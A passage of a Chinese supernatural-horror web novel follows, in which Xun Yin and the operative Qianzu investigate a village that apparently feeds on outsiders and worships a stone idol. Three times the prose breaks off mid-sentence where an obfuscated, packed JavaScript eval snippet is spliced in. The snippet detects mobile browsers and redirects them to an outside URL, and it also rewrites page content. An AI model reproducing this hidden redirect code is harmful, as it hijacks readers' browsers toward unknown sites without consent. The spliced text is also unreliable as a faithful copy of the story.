尽管现在的时间是午夜，气温较低，但屋子的门一打开甚至会让人觉得有丝丝寒气在向外渗出。 像冰窖一样。 寻茵熟门熟路地拉下门边的电线，顿时，昏黄的光线照亮这片区域，尽管明知道灯光是没有温度的，但却莫名让人觉得温暖了些。 这一间屋子看起来比寻茵之前的那件屋子更大一些，柜案上同样摆着怪异的石像和灯烛供品。 桌子上同样摆着几盘肉菜，看着更多更新鲜。 寻茵只是扫了一眼，见宣鳞沉默地站在餐桌前，她就走进了里间，开始搜寻，看看是否有什么东西与这个村子的相性不符。 ……果然。 就像寻茵在之前那个房子里翻出发卡和本子，寻茵在这里也翻出了一个……刻着神庭里那个石像的石牌。 当寻茵拿着石牌走出去，她发现宣鳞已经用手捏起餐桌上盘子里的一片肉，看起来正要放进嘴里！ 她一愣，皱眉：“你被什么东西控制了吗？” 宣鳞闻言，将那片肉放回盘子里，淡淡道：“你被控制了我都不会控制。这是人的心脏。” “人肉？” 寻茵愣了一下，她皱着眉，站在桌子前，同样捏起看起来非常诱人的肉片，仔细观察其纹理。 之前被那浸在肉片里的蛆虫恶心得不行，寻茵一直没有仔细观察过。 现在才发现这纹理她简直熟悉得不能更熟悉了。 她皱眉，将那肉片扔回盘子里，转身走进里间，将手上油腻的肉汤擦在床上的棉被。 宣鳞原以为寻茵一言不发往里间走是有什么发现，这才发现她原来是洁癖发作，正在清理自己的手指。 一时失语。 擦干净手，寻茵将另一只手心里攥着的石牌递给宣鳞。 “这……”宣鳞只愣了一会，她沉下眉目：“这是神庭的东西。” “你认识。那就好办了。” 寻茵走向门边，她打开门：“先汇合吧。” …… 寻茵感觉自己又累又渴。 “再撑一会，小温，你看我们已经找到村子了。” 被身边人不断摇晃，促使她睁开双眼。 刺眼的太阳让她忍不住微微眯眼，但很快她就意识到不对劲。 明明之前还是午夜，怎么忽然之间就出太阳了？ 寻茵能感觉到自己的头脑发昏，整个人干得快冒烟了，但额上却不断渗出冷汗，并且浑身发冷。 明显是中暑状态。 在时有时无的视线里，寻茵最后看见的是一块刻着村名的石碑——丰和村。 随后她视线一暗，昏了过去。 21. 丰和村3 “小温还没醒吗？” “她大概是累坏了，没关系，让她睡吧。这个村子的环境古朴，看起来非常适合我们的研究。” “那好，一会儿我去跟这里的村民聊一下。” 听着两道人声逐渐远去，寻茵能够推测出自己大概进入了遗落之骸的环境中，成为了环境中的某个人。 昏迷前看见的那个丰和村，恐怕不是幻觉。 “哟，姑娘，你醒了？我刚想来给你送水呢。”一个看起来胡子花白的老人递来一壶清水，寻茵连忙坐了起来，她接过，不锈钢材质的水壶将寻茵现在的面容模糊地倒映在水中。 她忽然感到一阵恶寒。 她的视线从满是尘土的地面，看向周围没有墙皮的土墙，这里看起来是一户拮据的，村民的家。 墙壁上挂着的钩子看起来像是串某种肉的，只是现在空落落。 抬起头，那个老人正看着她，满脸笑意：“快喝吧姑娘，你中暑了就是要多喝水。” 寻茵不动声色的放下水壶，笑着说：“谢谢您，不过我像先找一下我的同伴，大爷你知道她们去哪了吗？” 不知道是不是寻茵的错觉，对方听见大爷两个字时，面上的表情僵了一下，但很快又爽快地给寻茵指了路。 “谢谢您，”寻茵对他道谢，又晃了晃手中的水壶，“这壶水我就带去跟我的同伴们一起喝了，您看行吗？” “当然当然，要是不够就来找老头子，老头子这里水管够。” 寻茵笑着婉拒了对方的热情，拎着水壶，又顺着而对方指路的方向前进，直到看不见他的身影，寻茵将水壶里的水全浇在一旁的树根上。 她在原地等了会儿，直到土地将全部的水都吸收进去，也没有出现其他醒目的变化。 难道水里没东西，那个老头只是单纯的热情？ 但她不认为自己草木皆兵。 进入这场幻境之后，她跟其他人完全分散，如果没办法汇合，就必须对身边的一切事物都保持着而应有的警惕。 她拿起水壶，继续向山里走去 这是那人给她指的路，他说她的同伴说自己要去山上观察一下环境，顺便做一个研究报告。她们自称研究课题是环境与文明程度关系。 听着脚下吱呀作响的枯叶被踩碎的声音，寻茵心想，如果不是幻境，这里应该就已经进入污染区了。 ……没错，污染区。 寻茵停下脚步。 这支队伍真的是在研究什么环境与文明程度关系吗？ 但从司怀给她的资料上可以看出，丰和村附近的污染区早在几百年前就已经存在，来这里研究什么环境与文明程度关系，难道是嫌自己活得太长？ “谁在哪里！” 枯枝被踩断的声音出现在寻茵正前方，她眼神一厉，警惕地向前看去。 忽然，一个人出现在前方，她似乎看见寻茵，忽然发出惊喜的声音：“诶，小温，你醒了啊！太好了，我们这个项目没你真是不行，既然你来了，就快点帮我们看看究竟是那里出了问题。” “项目，什么项目？” 对方一愣，小声嘀咕：“不对啊，难道中暑也会影响脑子？这个项目的概念还是你提出来的呀。” 寻茵：“……” “好吧，还好你问的是我，如果是钱老师那你可就惨了。” 说完，她神神秘秘地凑近寻茵，贴在她耳边小声道。 陌生人的靠近让寻茵下意识戒备起来，但她没有其他动作，只是装作好奇似的偏头去听，非常不经意地隔开二人之间的距离。 看起来对方没有注意寻茵的小动作：“钱老师说，让我们先问问这里的村民究竟是怎么长寿的，我们私下里先调查，他怀疑村民的长寿跟污染区有关。” “跟污染区有关？” “嗯！我跟你说，其实啊，我们身处的这片区域现在在污染区划分之中了，但是丝毫看不出来对不对？而且就在我们进山林的时候，甚至看到有几个村民刚从山里出来。” 寻茵不动声色地打探着：“但我只听说长期呆在污染区附近有几率异变成遗落物，可没听说过让人长寿的。” “这就是我们要调查的原因咯。啊，遭了！我是跟钱老师说自己来看一下周边环境，得赶紧回去，不然恐怕钱老师得训我了！我们快走吧！” 对方柔软冰凉的手拉住寻茵，将她带向前方，寻茵任由她拉着自己，在后方用一种估量的眼神看着她。 很快，二人走到一块看样子像是祭坛的地方，最中心供奉着一个神龛，神龛内是寻茵之前在村民屋子里看见的那个古怪石像。 一个短发的女人半跪着，为那个石像上了一炷香。 之前拉着寻茵叽叽喳喳说个不停的女孩现在却像忽然失声了似的，一句话也不说，安静地等待女人做完一套流程。 “去了这么久，有什么发现吗？” 女人终于结束这套看起来像是供奉的流程，转头看向女孩。 “没有什么特别发现…但是我把小温带过来了。”说到后半句，女孩笑嘻嘻的，看起来丝毫不再担心‘严厉’的钱老师究竟会不会责怪自己。 女人挑挑眉，什么都没说，最后将目光看向寻茵。 只一眼，双方都眯起眼睛，以一种隐晦的目光打量对方。 寻茵不清楚对方是不是发现了什么，她只知道。 这张脸，她见过。 不是跟明映那样，一个面熟、模糊的概念，而是切实见过，并且就在近期—— 这张脸，就是蝮蛇给她的资料当中，神庭上一任千足的样子。 二人谁都没有率先开口，久到女孩都有些奇怪：“钱老师，小温，你们怎么了吗？” “没事，可赢，”千足的眼神有些意味深长，“只是小温同学看起来有些魂不守舍，大概是中暑之后没有休息好吧。如果撑不下去，可以自己再去休息。” “多谢钱老师担心，”寻茵勾唇，面上却并无什么笑意：“只是，既然是我提出来的项目，当然要为这件事请负责。” 寻茵忽然发现，短短三天，自己的演技已经精进到这个地步，她现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272305|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在张嘴就是瞎话，根本不需要打草稿。 “当然可以，”千足眼中忽然浸了点笑意，“那你知道我们现在要研究什么吗？” “研究村民究竟为什么能长寿？” 千足摇头，看向神龛：“这只是一个大概念。你之前提出，村民长寿很可能与污染区有关，于是我们进入这片与丰和村毗邻的污染区——但是你看到了，污染区里没有污染物。” “污染区里没有污染物？” 这句话听起来有种‘老婆饼里没有老婆’的幽默。 “我已经在这里埋入污染检测装置，二十四小时后就能知道这里的污染指标了。” “你刚刚为什么要在神龛那这么做。”寻茵问道。 千足将她刚插进香炉的线香拔了出来，举到寻茵面前，线香的白烟直线上升，挡住了她瞳孔中的情绪：“我看见村民做的，所以也尝试一下，看看有什么效果。” 寻茵微微眯眼，拿走对方手上的香，现在她能够看见对方的表情了。 她将香插回去：“那你把香拔出来，不怕这东西来找你吗。” 千足轻笑一声：“要是它真的来找我，那不就说明我们的参考方向没错，村民长寿的确跟这玩意有关吗。” 看起来千足丝毫不担心神龛里的东西找上她。 寻茵想着，没有开口。 见自己终于能插进话的季可赢连忙开口：“既然事情已经做好了，老师，我们快回去吧，我好饿啊！” 千足点点头，三人一同下山。 山脚入村口处，一个佝偻的身影站在那，不停地踱步，看起来颇为焦虑。 见了三人，他赶忙走了上来：“哟！终于下来了，我实在担心三位在山上遇到什么危险。” 寻茵和千足都没有说话，只有外向的季可赢笑眯眯开口：“是在太不好意思了，山上的景色太好了，而且有很多外面没发现的植物，我们几个人一研究就没注意时间，没耽误您吃饭吧？” 老人家笑着摆摆手：“没有没有，就是我打算等你们一起吃，人老了就是想多和年轻人相处一下。” “哪里哪里，您的身体看起来明明非常康健……”季可赢顺着对方的话夸赞道。 “小杨，你……嗬，这是外面的人吗？” 一个看起来三十多岁的人忽然叫了老人家一声，几人听着这声小杨，看看满头花白的老人和一头乌黑秀发，没有丝毫谢顶迹象的青年。 “闭嘴！快滚开！”杨爷爷恼怒地看着对方，但对方丝毫不在意，他眯着眼，打量寻茵三人，忽然吞了吞口水。 “算你好运气，不过，一个人吃独食可不好，是不是？” 杨爷爷忍着怒意，看向寻茵等人：“你们先回去，不用等我。” “您没事吧？”季可赢担心地扶住对方颤悠悠的身子。 杨爷爷下意识捂住胸口，勉强扯出一个笑容：“……没事姑娘，你们先去吧，饭菜我已经烧好了，要是凉了你就热热。” 在杨爷爷的坚持下，最终三人还是率先回到了那间简陋的屋舍。 22. 丰和村4 “你们说……刚才那个人为什么叫杨爷爷小杨？” 季可赢想了想：“可能是辈分？我听说有些人虽然年纪没这么大，但是辈分大。” 寻茵对此不做评价，她换了个问题：“你有没有觉得他对我们的态度很奇怪？他看我们的眼神不像是看人，而像是……在看某种食物。” 季可赢并没有被吓到，她耸耸肩，用筷子戳了戳桌子上的一些肉菜：“我只关心这个能不能吃，是不是同胞的肉，我真的快饿晕了。” 寻茵：“……” 千足的唇角不明显地扬了起来，她拎起随身携带的包，从里面拿出密封的压缩饼干和营养剂：“先吃这个。这段时间我们最好不要动这里的食物。” “还有水。”寻茵补充道。 “水也有问题？”千足微微眯眼。 “我不知道，谨慎总是好的。” 千足笑了笑：“但我们不可能一直不喝水，而且……早在你因中暑昏迷后，我们就给你喂过水。” 寻茵一顿，没想到还有这茬。 “但这不一样，如果水里面真的有什么东西，村里的人喝什么呢？同理，他也不会在一起食用的饭菜里加入什么东西。” 说完，她在地质松散的地面挖了个坑，端起菜盘，在季可赢垂涎的目光下，各夹了些放进坑里，做出已经食用过的迹象，随后用土将地面填平。 看着季可赢，寻茵表情有些奇怪：“真有这么香吗？” 她可什么都没闻到。 季可赢点头，转过头看了看千足又看了看寻茵：“你们真的没闻到吗？非常香，总感觉能把人肚子里的馋虫都勾出来那种。” 没等二人回应，杨爷爷就回来了，身后还跟着一个四五十岁的中年男人。 “这是我们村长，他听说我们村子里来人了，就过来看看……对了，晚上你们休息的地方村长已经为你们准备好了。” 村长满面笑容，向千足伸出手：“你好你好，我们村子已经很久没来外人了，我听老杨说你们是来研究这里的环境的，哎，那你们可真是来对地方了，我敢打包票，我们丰和村的环境是这十里八乡最好的！” 千足和对方握手，笑着说道：“那可太好了，感谢村长的配合，我们会在这里住一段时间，如果感觉不错的话，会通知同事一起过来。” 村长双眼一亮：“哎呀，那是个大项目啊，我还以为是中心学院的学生呢，没想到几位都已经工作了，真是年轻有为啊！” 季可赢被夸得心花怒放：“您真是多虑了，我们几个都工作好久了，哪像您四五十岁就当一村之长了！” 村长的表情微微一僵，却又很快复原，他摇头，叹气：“唉，村长可不好当，不说了，不说了。” 他看向桌子上的残羹：“哟，几位饭都吃过了啊……老杨，怎么给几位贵客吃这种东西。我这边饭已经烧下去了，几位一会再吃一些吧，难得来一次，我带各位尝尝特色！” 千足挑挑眉，笑了笑：“当然可以，那我就现在这里多谢村长款待了。” 几人跟着村长，走出老杨的家，临走时三人还能感觉到老杨恋恋不舍的目光。 前面村长带着几人走上村里的大路，田地里长着清一色的绿苗：“村长，这地里种什么啊？” 季可赢好奇问道。 “嗨，就是我们村的特殊品种，外面看不到的，现在还没到成熟期，过个两天才能成熟呢。” 一路上走着走着就能遇见其他人，然而无一例外，全是四五十岁左右的壮龄青年。 没有嬉戏打闹的孩童，也没有女人。 不知道是不是村子里突然来了新人太稀奇的原因，总有村民上前搭话。 “高村长，这是哪来的新人啊？” “小杨找来的。” 村民嘟囔一句：“运气这么好。” 随后笑着说道：“等你吃饭记得叫我们一起啊。” 村长点点头：“人齐了会通知的。” 几句对话听得人云里雾里，季可赢问道：“村长，你们在说什么啊？” 村长摆摆手，笑道：“就是过两天那植物成熟之后，我们会有几天祭祀庆典，到时候如果你们还在的话也可以一起来参加。” 三人自然满口答应。 不过趁着村长没注意，寻茵偷偷摸摸地拔了一根绿苗。 从断裂的根茎处，一种浅粉色混杂乳白色的液体缓缓渗了出来，看起来就像草莓牛奶。 这种汁液甚至还带着一种异样的芬芳。她将那绿苗扔掉，一脚踩了上去，并用力地碾了碾，将其整个踩进土里。 在她离开之后，那片土地上哪还有绿苗的身影？ 很快就到村长给几人准备的临时住所。 这栋房子比之前杨爷爷的那栋好了不止一星半点，看起来像是复式小洋楼，一层的卧室是村长住的，二层有两个卧室一个书房，现在也被收拾出来当作卧室。 一进门，寻茵的视线就停留在大厅正中央的石像上。 村长还在热情地邀请她们再常常村里的特色。 尽管千足多次告知自己已经吃过，但抵挡不住村长的热情，几人最终还是坐在饭桌上，享用村长准备的食物。 这些食物看起来可比杨爷爷准备的好太多了，堪称色香味俱全。 寻茵夹了一筷子，看向村长：“其他人不出来吃饭吗？” 然而这句话像是触动了什么开关一般，村长面无表情地直勾勾盯着她，看起来简直像是被按下开关的人偶，让人不禁毛骨悚然。 只是桌子上剩余三个人，一个是不知道恐惧为何物的寻茵，一个是满眼只剩下这桌美食的季可赢。还有一个是看起来丝毫没有感觉到氛围变化的神庭 寻茵丝毫不慌：“怎么，我看楼上还有两间房，猜村长应该有家庭吧。” 他哼了声，嗓音里透着些许阴沉：“以前有，不过现在没有了。” 千足给村长倒了杯酒缓和气氛：“女人嘛，花心是难免的，但是我相信，外面都是酒店，只有你这里是家。她肯定会回来的。” 季可赢一边的腮帮子里塞得鼓鼓囊囊，一边点头附和。 村长扯了扯嘴角：“不，我也有错。” 他的神色带着一些伤感：“……只可惜，她永远都不会回来了，我也永远没有机会亲口向她认错。” 这句话一出，千足与寻茵对视一眼，两个人都察觉到有能够深挖下去的地方，更加热情的开口。 “这是怎么回事啊……难道是？” 村长叹了口气，表情沉痛：“因为村子里的事情，她嫌弃我没办法多陪陪她，可我这个村长也并不好当啊……村子里不服管教的人那么多，所以……又一次争吵下，她跑到了山上，被……” “被什么，野兽，还是遗落之骸？”寻茵问道。 村长的表情一变：“当然是野兽，我们这里可没有什么遗落之骸！” 千足立刻安抚道：“村长你别介意，她年纪小，不懂忌讳。要是有遗落之骸我们也不敢来做研究了，你说是吗？” 村长冷哼一声，算作回应。 之后的谈话基本是以千足与村长为主，看起来赢得了村长的初步信赖。 吃过饭之后，天色渐渐变得昏暗，为了降低村长的戒备，寻茵并没有四处调查，而是在房间里等到了夜晚。 此时，她站在二楼窗口朝下看，衣着完好，面上没有丝毫困意。 寻茵准备在晚上，好好调查这里。 进入这个疑似幻境的世界后，寻茵就与特殊一队的其他人彻底失散，她无法确认其他人有没有进入这个幻境。也无法确认幻境的主人有什么目的……将她简单困死在这里？ 如果是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309302|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样，为什么要将目标定在自己的身上？ 总不能是挑一个看起来最好欺负的下手吧。 在与千足为数不多的交流过程中，寻茵得知，现在的时间点大概是143年1月，与她的失踪日期相近。 也就是说，千足很可能就是来到丰和村之后失踪的。 这里究竟发生了什么？千足来到这里又有什么目的？ 以及神庭，又在其中充当着怎样的身份？ 她悄悄打开房间大门，向这一楼走去。 这栋小洋楼的楼梯是木制的，踩上去容易发出吱嘎声，寻茵只能很小心地调整自己施力点。 她蹑手蹑脚，每一步看起来都像是在做贼。 “……那三个加上应该就够了吧。” 在寂静的夜晚，絮絮低语声听起来像是放大了十几倍。 寻茵下意识屏住呼吸，她站在原地，侧耳凝神去听。 ——那是村长的房间，他的灯还亮着，看起来似乎有人在同他交谈。 什么话，早不谈晚不谈，非得留到这个时间谈？ 除了是什么没办法光明正大说的话，不想让某些人，比如她们知道的事。 “没错，祭祀很快就能再打开，这应该是最后一次了吧？” “是，只要这一次成功了，之后我们就能一同永生……” 寻茵敏锐地注意到对方忽然变得蛊惑的语气。 “那……祭祀的时间究竟在什么时间可以开始？” “越快越好。我不希望在这段时间内有什么意外发生——明天，把你们准备好的祭品带到后山，就像你们之前做过的那样，我知道你们很熟练了，不要让我失望。” “我知道了，明天早上我就通知下去……” 忽然，脚下的木制楼梯发出吱嘎声！ “什么人！” 寻茵心底一惊，还没等她有所动作，一双手将她从楼梯上拉了下来，同时对方的另一只手捂住了她的口鼻。 她们躲在楼梯与墙面的夹角处。 村长出来查看了。 咚、咚。 脚步与木质地板发出的撞击声让寻茵放缓呼吸。 “……没人？难道是老鼠……” 随着脚步声渐行渐远，确认村长已经回到房间之后，寻茵示意对方松开自己的嘴。 她松开手，拉着寻茵向某个地方走去，没有说话。 在这种近乎漫长的沉默中，寻茵跟着对方的脚步，她能感觉到自己似乎走入了更深的地下，周围变得潮湿起来。 忽然，‘咔’一声，灯光亮起，将周围照得非常清晰。 寻茵眯着眼，观察周围，才发现这里大概是地窖之类的地方。 她转过头，看向那人——千足。 决定先发制人：“你怎么会出现在那里？” 似乎被寻茵抢先问出自己想要询问的问题，千足脸上的表情怔了怔，半晌眯眼：“我还想问你怎么会出现在那里呢。” 既然千足现在是寻茵这个身份的老师，她决定对她客气点：“我当然是学习钱老师您的精神，深入调查，为自己的研究做贡献。” 千足笑了笑：“是吗。不过我什么时候成你的老师了，我可不记得自己有你这样的学生。” 寻茵眯眼，微笑道：“您在说什么啊，钱老师，我是小温呀。” 千足摇摇头，表情无奈：“你不是。小温才没你这么勤快，也没你这么谨慎。” 寻茵的双眼微微眯了起来，千足会发现，她不是小温，寻茵并没有意外。 毕竟小温的线索太少，不像白乾这个身份，身边没有相熟的人，而且自己还在梦里对白乾有基础了解，被发现并不奇怪。 但，原本寻茵只将这里当成某种记忆或者是幻境。 既然是这样，记忆里的人也有挣脱记忆的可能吗？ 23. 丰和村 千足挑明寻茵的身份后，寻茵也就不再敷衍地装出尊师重道的模样。 她看向对方：“你来这里有什么目的？” 千足笑了笑：“我来这里自然有我的任务，只是暂时没办法告诉你。不过我可以说的是，调查这个村子长寿的秘密，是真的。” 于是寻茵了然：“你的任务跟导致这个村子长寿的‘秘密’有关。” 对方笑，既不赞同，也不否认。 寻茵没有在这种事情上多做纠缠：“你发现了什么，我要求信息交换。” “信息交换……”对方若有所思地咀嚼着这个词，眼尾的弧度微微扬起。 她点头：“当然可以。你先说说你发现了什么。之后你有什么想问的，都可以向我提问。” 寻茵当然知道对方所掌握的信息比较多，但这并不意味着寻茵的发现就是无用的。 她说道：“来这个村庄调查前你就应该知道，所有路过，在这个村庄留下来休息的人，都消失了。” “无论是路过的游客，像我们这样的‘研究者’，甚至是隔壁村的村民。” “而这一切恐怕都要跟丰和村家家户户柜案上摆着的石像有关。” 一边说着，寻茵的视线牢牢锁住对方，不放过一个表情。 千足饶有趣味的视线在寻茵脸上转了圈：“还有呢？” 看起来没有办法通过对方的表情判断寻茵手上消息的可信度。 她略带遗憾地收回视线：“这个石像恐怕就是你的目的。如果我没猜错，这应该就是污染区新诞生的遗落之源。” 这些信息，结合司怀给的资料和那报纸上的新闻并不难推测。 千足笑了笑：“说得没错，那你有什么疑问？” 寻茵没想到对方这么轻易就同意任务交换：“这个遗落之骸究竟是怎么回事，为什么它能让这些人‘长寿’？你的目的又是什么，解决它，还是从它这里带走或者调查什么。” 千足偏过头，视线盯着地窖黑暗的角落，视线并没有一个确定落点：“后面的问题，我不能回答你。但是前面的问题，我可以说，当你找到那些被村民抓来的人时，就会明白了。” 听起来真是故弄玄虚。 她问：“所以她们在那？” 千足挑眉：“这件事情，我也还在调查之中。不过留给我们的时间不多了。显然你也听见刚才说的话，也就说，明晚祭祀之前必须找到她们的位置，一旦祭祀成功，遗落之源变为成熟体，事情的发展就不在我的控制范围之内了。” “那你现在有线索了吗？” 她摊手：“当然是还在寻找中，不然你以为我这么晚不睡觉是在干什么。” 寻茵被千足的坦诚弄得一噎，刚想说什么却被她拉了一下。 “嘘……”她将食指放在唇上，示意寻茵安静区听周围动静。 隐约下，似乎听起来有野猫的叫声。 寻茵顺着声音的来源悄悄踱步过去，她贴在地窖的土墙上，声音忽然又消失了。 ……怎么回事？ 寻茵看向与她一样侧耳覆在墙上的千足，眨了眨眼。 千足指了指墙面，随后拉着寻茵向外走去。 两人蹑手蹑脚地回到了二楼房间。 “你听见了吧？刚才的猫叫……”寻茵眯眼看她。 千足坐在床上，闻言朝她看去：“你觉得那是猫叫，你在村子里有看到过猫吗？” “你的意思是……” 寻茵记得，跟猫叫相似的声音还有婴儿的哭泣声，而在某些情况下，声音细微的女生在压抑到极致的情况下，哭泣声也会在一定程度上与猫叫类似。 因此当寻茵的话出口的一瞬间，她就意识到，很快锁紧眉：“如果是这样的话，我们只能知道的确在村长家地窖附近的某个地下，但没有办法确认具体位置。” “有什么关系，”千足换了个姿势，躺在床上，眯着眼，声音渐渐微弱：“反正迟早都要跟村民正面对上，早一点晚一点又有什么关系……” 寻茵嘴角一抽，她推了推千足：“……快起来，你睡的是我的床。” …… 次日一早，寻茵清醒的时候，千足已经不在她的房间里了。 随手拉开门，一张放大的脸突然出现在寻茵面前。 寻茵眯眼：“……你有什么毛病吗？” 千足勾起一边唇角，挑挑眉：“互相戳破身份之后你还真是演都不演了。” 寻茵打了个哈欠，随手擦掉眼角的泪水，选择性忽视这句话：“你有什么打算。” “村长让我来告诉你，晚上村里会准备祭祀，让我们一定要去看，白天他需要监工，所以没时间为我们做饭，但是每天的吃食还是送到我们手上的，如果我们想要区山上研究，他也不会限制我们的行动，只有山上东南角的位置——” “那里是神龛，不能去。” 神龛？可惜三人昨天刚去过。 寻茵看向千足：“你觉得呢？” 千足奇道：“他不说还好，一说我感觉简直是在诱惑我。还是说这就是他故意的？” 寻茵偏头：“要把季可赢叫上吗？” “不用，她有别的任务。我等你五分钟，快点收拾好你自己，然后我们就在群众的监视下去神龛玩玩。” 看着千足悠闲的姿态，寻茵嘴角莫名一抽。 二人向山上走去的时候，还能看见村民不停从山上往下面搬一整根，看起来刚刚砍伐完的木桩子，见寻茵两人准备上山，甚至还热情地同她们打了招呼。 如果不是二人事先就已经知道这个村庄的古怪之处，恐怕当真会被这副祥和的景象蒙骗。 山上的景色非常相似，一朝不慎就容易迷路，寻茵无从判断千足究竟是怎么从相似的景象中分辨出来的。 忽然，她停下脚步，看向周围：“神龛的位置就在这里。” 寻茵看向周围与之前别无二致的林木：“我记得之前神龛应该是在一个看起来有点像祭坛的地方，但这里……” 她挑眉，看向千足：“看起来跟我们之前走过的路没有任何区别，你确定吗？” “神龛的位置有一种特殊的能量波动，只要记住这种能量波动，就能够很轻易地找到神龛。” 千足说道，她随手摘了一片周围书上的叶子，在掌心揉碎，看起来像是在思索什么：“但是现在这里只剩下一点能量残留。” “看起来神龛里的东西已经被转移出去了。”揉碎的叶子从她掌心落了下来，又被一脚踩进泥里。 “那我们要现在回去找那样东西吗？” 千足微笑：“当然不。既然他们已经将东西转移了，就说明至少现在是不会让我们看到的。我们先去找那些失踪的人。” “你有线索？” 千足没有回答，她蹲了下来，掌心贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314805|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住地面。 一条非常长的蜈蚣从远处爬到千足手背，像是受到某种指引。 她站起身，那只蜈蚣从手背向上攀爬，在她手腕的位置不断缠绕，缠成好几圈。 ……现在寻茵有点理解她的代号为什么回事千足了。 “向前走吧。” 寻茵没有追问千足是怎么通过蜈蚣就得到这些线索的，每个人都有自己的秘密，何况她们并不相熟，将自己的好奇心控制在一个并不冒犯的位置还是非常轻易的。 二人继续向前，周围的树木越加葱郁，寻茵正撩开头顶的藤条，忽然，前方的千足停下脚步。 “怎么了？” 千足微微侧身，看向前方：“我们到了。” 寻茵向前方看去，路的尽头，一个洞穴出现在眼前。 二人对视一眼，走到洞穴附近。 千足用脚拨开那些已经完全脱水的粪便，说道：“这粪便这么不新鲜，看起来里面已经没有动物居住了。” “进去看看。” 寻茵说着，弯下腰，率先走进了洞穴之中。 洞穴之内弥漫着一种说不出的气味，像是粪便发酵，又像是什么东西腐烂之后的味道。 寻茵接过千足递给她的手电筒，照着前方的路，视线偶尔停留在与石块泥沙堆在一起的骨头上。 看起来像是某种野兽进食后留下的。 不清楚这个洞穴究竟有多深，二人继续深入，已经可以听见水珠滴落的声音，然而她们附近的地面却是非常干燥的黄土。 整个洞穴非常安静，一切声音都在耳朵里放大，衣服的摩擦声最为清晰。 这时，千足忽然开口道：“走在我前面，你就这么相信我，不怕我给你趁机杀了你吗？” 寻茵没往后看，她的手电筒光照向前方时似乎被什么东西反射了一瞬。 一边探路，她一边漫不经心的回答：“你会吗？” 千足跟在身后，低笑一瞬：“我从不杀任务对象以外的人。” “——到了。” 寻茵停下脚步，前面的路像是忽然拦腰截断，底下是一片深潭。 她估量着高度，挑了挑眉：“这高度看起来将近百米。” 在水深足够的情况下，如果是一个普通人，可承受的极限高度大约为10~12米，当人从三十米高度跳下，入睡速度可超过24米/秒，此时水面张力对人的冲击相当于直接跳在水泥地上。 千足从地上捡了块石头，瞥她一眼：“就算跳水能活下来，也不一定能逃过水里的东西。” 她将石子抛下去，就在石子即将落尽水中时，一张巨大的嘴巴跳了起来，将石子吞了进去。 寻茵在脑子里复盘那出水的东西究竟是什么，一边漫不经心问道。 “你怎么知道水里面有东西？” 千足没有说话，挑挑眉，寻茵于是了然：“就像你能感应到神龛的能量波动一样？” “你可以这么认为。” 千足既然这么说，寻茵就没有再多问什么。 她看着水面：“这是什么东西？” 千足：“我猜测应该是被遗落之骸诞生后的污染能量所污染的生物。” 寻茵：“也就是说它没有核心？”她的目光带着些嫌弃，看起来不太情愿打白工。 千足：“没有，但显然我们如果不解决它，就没有办法探索水里的奥秘。” 24. 丰和村6 千足看着微微漾起波澜的失眠，忽然问：“你钓过鱼吗？” “什么？”寻茵只愣了一瞬，她反应过来，“你想怎么做。” “钓鱼最简单的几步：饵料、钓竿、钓点，现在钓点我们有现成的，需要的只有钓竿和饵料。” 寻茵听懂对方的意思：“谁来当饵料？” 千足笑了下：“放心，不会是你，也不会是我。” 她伸出手指，蜈蚣从袖子里爬了出来，顺着她的手背蜿蜒向上——寻茵一眼就看出，这条蜈蚣比钻进去前大了不少。 千足点了点手背的蜈蚣，又看向寻茵：“我从来不喜欢做选择。” 寻茵挑挑眉，没说话。 千足后退几步，用力俯冲，她最后一步踏在钓点上时，整个人腾空而起，一对翅膀从她的背脊破开，她的手变成了充满倒刺的虫足，整个人黏在了石壁最顶上！ 此时的千足已经离她非常远了，寻茵向自己身后黑黢黢的洞口看了眼，发现一个很有意思的事情，就像她不担心千足杀了她，千足好像也并不担心她临阵脱逃，将这里的危险留给千足一个人对付。 还真是一种诡异的默契。 触手从她的脊椎冒出头，蠢蠢欲动。 千足向她打了个手势，随后，那只作为饵料的蜈蚣被她扔了下去！ 平静的水面忽然掀起巨大波澜。之前见过的怪物忽然涌出水面，溅起一阵水花。 就在那怪物被饵料吸引出水之后，寻茵二人才发现那究竟是什么东西——是一只巨大的鲶鱼。 鲶鱼浑身都是光溜溜的，细长的须子在空气中扫出一圈水花。 在它将千足的蜈蚣吞咬进鱼嘴时，不知道是不是寻茵的错觉，鲶鱼巨大的、僵硬的鱼眼似乎一直牢牢地钉在自己身上。 寻茵来不及细究，触手从身后一股脑地涌出，之前食尸鬼的核心似乎已经完全被它吸收，寻茵能够感觉到它变得更加强大，只要她想，可以再赋予其一项特质！ 